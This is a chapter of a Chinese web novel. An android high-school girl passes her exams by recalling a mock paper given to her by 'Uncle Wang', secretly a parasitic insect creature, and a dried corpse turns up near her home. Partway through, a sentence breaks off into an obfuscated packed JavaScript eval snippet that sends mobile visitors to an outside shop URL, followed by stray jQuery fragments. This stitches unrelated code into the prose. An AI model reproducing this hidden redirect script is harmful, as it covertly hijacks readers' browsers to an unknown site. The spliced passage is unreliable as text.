作为拥有芯片的仿生人,雾杉的智商算不上高得出奇,芯片运算能力也很有限,甚至比不上一台普通电脑。
但过目不忘的基础能力,还是有的。
她从记忆中翻出这套试卷的参考答案,一路砍瓜切菜,最后卡在作文上。
作文没有答案了,尽管有一整套题目和立意分析,也足够雾杉冥思苦想,再郑重作答。
笔迹工工整整像个小学生,措辞也干巴巴,最多也就做到不跑偏。
写完八百字,交卷铃也就响了。
虽然还差最后一段没写完,她也老老实实放下笔,不无惆怅的跟着其他考生往外走。出门时不经意一瞥,只见监考老师瘫在椅子上,一脸生无可恋。
对方没有追究她迟到,雾杉还是挺有好感的,情绪逻辑判断结果是关心。
于是她停在门口关心地问:“老师身体不舒服吗?”
熟悉的声音让王炳竹浑身一颤,过了片刻,才有气无力地抬了抬手,示意没事。
投射虫卵也是很消耗能量的,十几次投射无果后,他体内剩下的异虫能量,也就勉强维持这身假皮了。
雾杉一走,他立马摸出最后一支补剂,犹豫再三,喝了下去。
语文只是第一科,失败也正常,也许雾杉心里在担心其他三科的考试呢。接下来不要轻举妄动,等到明天考完最后一科再说。
他打定主意,扶着讲桌起身,开始收拾考卷。
与王炳竹相反,一场考试下来,雾杉电量不降反增。
从28%,一路上涨到41%,精神百倍!
这就是情绪的力量啊,噢不,准确地说,这就是自信的力量啊!
那份模拟卷,确实给了雾杉前所未有的信心——一次里程碑式的情绪模拟!
雄赳赳气昂昂走进食堂,可惜没有朋友能分享她的快乐。
大部分考生都选择和家长出去吃,食堂里人影稀疏,雾杉找了一圈也没发现柴雨晴,至于其他人,一看到她靠近就避开了。
雾杉觉得很正常,转学生嘛。
她两个月前才转到这个学校里来,包括她自己,同学们都忙着备考,哪里有精力交朋友。
吃完饭,就地拿出数学资料临时抱佛脚,看了一会儿后,她灵光一闪。
那份押题百分百的试卷,不单单有语文,而是整整一套!
虽然没带过来,但都在脑子里装着呢!
雾杉立马放下手中资料,闭上眼,细细回想。
同样留在食堂里复习的考生不少,只是没人知道,他们啃的是往年真题,而雾杉,正在啃今年还未拆封的真题。
下午三点,数学准时开考。
果然!
押题命中率又是百分百!
雾杉乐不可支,继而越发信心百倍。语文还有作文这道开放题的考验,数学都是“1是1,2是2”的,唯一的困难……也就是一些数学符号比较难画而已。
确实比较难画,手握参考答案,雾杉也只提前十分钟答完。
网上说最好不要提前交卷,要仔细检查一遍答题卡,以免错漏。
雾杉深以为然。
上午电量持续攀升,下午却没了动静,她也不觉得遗憾,因为这恰好验证了她的判断,不是每次情绪模拟都会增加电量。
要更努力训练才行!
她开开心心交了卷,让飞扬的情绪贯彻全身,赶在所有人面前,快乐地飞出考场。
却在校门口碰见了柴雨晴。
“雨晴!”雾杉跑过去拉她的手,被对方下意识躲开,“你也这么快!”
此时校门口也就她们两个考生,许多家长都被雾杉吸引了注意,眼神复杂。
柴雨晴浑身不自在,以为雾杉说她提前交卷,急促回答道:“不想和别人挤在一起出来。”
说完就闷头往外走。
“你坐公交车回去吗?那我们一起吧!”
“对了,你考得怎么样呀……噢,对不起对不起,网上说刚考完不能问,影响心情,我不问了。”
“柴雨晴,中午没在食堂见到你呀,你没吃饭吗?”
雾杉跟个蜜蜂似的绕在身边。
柴雨晴忍不住了,一边加快脚步,一边低声道:“你能不能小声点?”
“噢……”
这时,又一个人追了上来:“雾杉。”
“王叔叔,你还在啊?”
“本来想走的,看到大家都有父母在等,我想你一个人孤零零的,反正也没有要紧事,就等你考完。”
“王叔叔真好!能不能载柴雨晴一起回家呀,她就住在我隔壁……”
雾杉说着一怔,旁边哪还有人,柴雨晴几乎是小跑着走了。
王炳竹嘴里应着,眼睛却望向了反方向,和刚刚走出校门的吕思对上视线。
他勾起嘴角。
胆子挺大,杨沁养的傀儡?
吕思不为所动,视线转而落向雾杉。
和异虫混在一起,难怪这么消瘦,这么……惹人讨厌。
熊昌宏走了过来,谄媚道:“我大概看了今天的试题,对普通人是挺难的,但对您来说一定很轻松……欸!那人?”
顺着吕思的目光,他看到了王炳竹,莫名感觉到一丝熟悉。
“是他。”吕思道,“他没胆子在这里闹事,不用管。”
熊昌宏连连点头,又倒吸一口凉气:“那不是雾杉?”
吕思轻哼:“傀儡而已。”
看那副憔悴模样,想必脑子里已经不是虫卵,而是有实体的幼虫了,要不了多久就会丧失自我,被幼虫吸干浑身血液。
情绪过度外放,活该有这个结果。
雾杉才不管吕思在想什么,她甚至没有看到吕思,只顾着叹气。
唯一可以交朋友的柴雨晴,好像一直躲着自己。
这时候模拟的情绪,叫做失落。
王炳竹只当她在担心明天的考试,安慰道:“放心吧,明天也会没问题的。”
王炳竹不光把雾杉送到家,还请她下馆子,吃了顿营养丰富的大餐。
雾杉谨守“等价交换”的原则,却囿于自己没有什么可以报答的东西,只能千恩万谢。一通情绪模拟下来,电量1%、1%地跳涨,累计增加了4%。
情绪转化为电量的法则,又一次得到验证。
她习以为然,王炳竹却敏锐察觉到空气中的能量波动,一个冷眼扫过餐厅,餐厅里都安静了几分。
分散在各处的四条异虫,老老实实转移了视线。
吃完饭天已经全黑了,雾杉又一次和王炳竹道谢后,往家里走。
餐厅离家不远,上去一个缓坡,再左转,一栋三层老楼就是她家。当然不是整栋楼,只是其中一套装修陈旧简陋的房子。
老楼有个小院,雾杉走进院门后,旁边冷不丁响起酒瓶落地的当啷声。
按理说,情绪判断逻辑应该会给出“惊吓”的结果,但雾杉早就习惯了。
她看向围墙边的大石头,石头上还是那个酒鬼大叔。
“大叔!”雾杉蹦蹦跳跳地过去,“晚上好呀,吃过饭了吗?”
酒鬼大叔迷迷瞪瞪地,像是没听见。
雾杉一如既往,把酒瓶扶正后说:“大叔你要穿鞋呀,万一瓶子摔碎,就会扎到脚啦!”
大叔依旧晕晕乎乎地,充耳未闻。
等到雾杉蹬蹬蹬跑进楼里,他才睁开眼睛,捡起酒瓶,走向角落里的破棚屋。
“回来了……”
他微不可闻的呢喃,飘散在初夏的夜风之中。
雾杉仔细摆好鞋,连拖鞋都顾不上穿,匆匆走向客厅角落。
在书桌上一阵翻找,终于找到那套模拟卷。上面的字迹乱糟糟的,黑色是她做题时的错误答案,红色是对照参考答案时写下的标记,密密麻麻,这会儿已然看不清原本的题目。
但没事,空白试卷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714708|144718||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
清清楚楚存放在她脑子里。
还好当时没有受打击,坚持做完了这套卷子,不然空有题目没有参考答案,今天就白瞎了。
不过……这套卷子是哪里买的呢?
雾杉回忆半晌,眼睛一亮。
王叔叔!
不是买的,而是王叔叔送的四套卷子里的一套!
“王叔叔真是好人啊!”雾杉由衷感慨。
此时此刻,王好人正在一条相距不远的偏僻巷子里,手电的光斑笼罩住一具干尸。
他伸手一推,尸体保持着跪姿翻倒在地,露出额头可怖的大窟窿,和窟窿底下,见过几次的脸。
“李天银?”
“是他。”马利芸说,“下午公会通知领主,说这里的监控被人破坏了,领主派我来检查,这才发现李天银死在这儿。”
她欲言又止。
王炳竹:“说。”
马利芸:“早上你跟领主谈话的时候,李天银也过来找领主,可能……听到了你们的对话。出去后,他跟我打听过雾杉,我没在意,就……”
话到一半,蓦然被王炳竹揪住衣领。
“你告诉他了?你不知道李天银几次求领主收留,都被领主拒绝了?!走投无路的同类毫无理智可言,要是他直接杀了雾杉泄愤,后果你能承担吗?!就算我不动手,领主也会活吞了你!”
“我,我只是随便敷衍了一下……”马利芸感知到王炳竹身上散发出来的能量波动,哪敢说谎,“真的!再说雾杉不是好好的吗,反而是李天银死了……”
从结果看,确实如此。
李天银没有威胁到雾杉,而且永远不再会有威胁。
王炳竹把她推到墙上,后颈蠢蠢欲动的触手也缩回皮肤下方。
马利芸摸了摸脖子,依旧把担忧的事情说了出来:“李天银刚打听过雾杉,就死在雾杉家附近,会不会太巧了?你说,我们要不要向会里报告,让公会派人调查一下?最起码查一下附近的监控……”
“你觉得是雾杉杀了李天银?”王炳竹只觉好笑,“我问你,雾杉是异虫吗?”
“……不是。”
“是管控中心的专员,还是调查官?”
“也,不是。”
“那她哪来的本事杀李天银?就凭李天银‘恼火’的情绪异能,走入他的虫域,就连我们都很难杀他,更何况对精神污染毫无抵抗能力的普通人类?”
王炳竹把马利芸问得哑口无言,顿了顿冷嗤道:“控制一下你自己,让别人疑神疑鬼可以,让自己疑神疑鬼,早晚成为别人的盘中餐。”
他扶了扶眼镜,镜片上倒映出手电的光束,和光束中蜷曲的尸体。
“游荡异虫连公会都懒得搭理,死了就死了。安静点处理掉,别惊动任何人。”
“不送给管控中心,让他们冲业绩?”
“没看我有事忙?我才没心情和那帮专员打交道。”
他表情不耐,让马利芸不敢反驳。
可马利芸的眼珠子一直不安的左右晃动,总觉得王炳竹看似很有道理的分析,哪里不太对。
王炳竹起初没有察觉,睡到后半夜惊醒,也感觉出一丝怪异。
等到第二天上午在旧楼外接到雾杉,他也忍不住盯着雾杉反复打量。
雾杉没发现异样,因为那套卷子的原因,兴奋地跟王炳竹道谢,接着描述昨天过山车一般的心路历程。
末了,主动按住王炳竹的手,再次道谢:“王叔叔,真的太太太感谢你了!”
王炳竹回过神,笑道:“能帮到你就好。”
是啊,一个眼里只有考试的高中生而已,怎么可能杀人,杀的还是人人色变的异虫。
也许是自己太虚弱,被马利芸“疑神疑鬼”的情绪异能影响了。
然而,再次察觉王炳竹的手异常冰凉的雾杉,接着说:“王叔叔,你可要保重好身体呀!”
一股寒意,窜上王炳竹的脊背。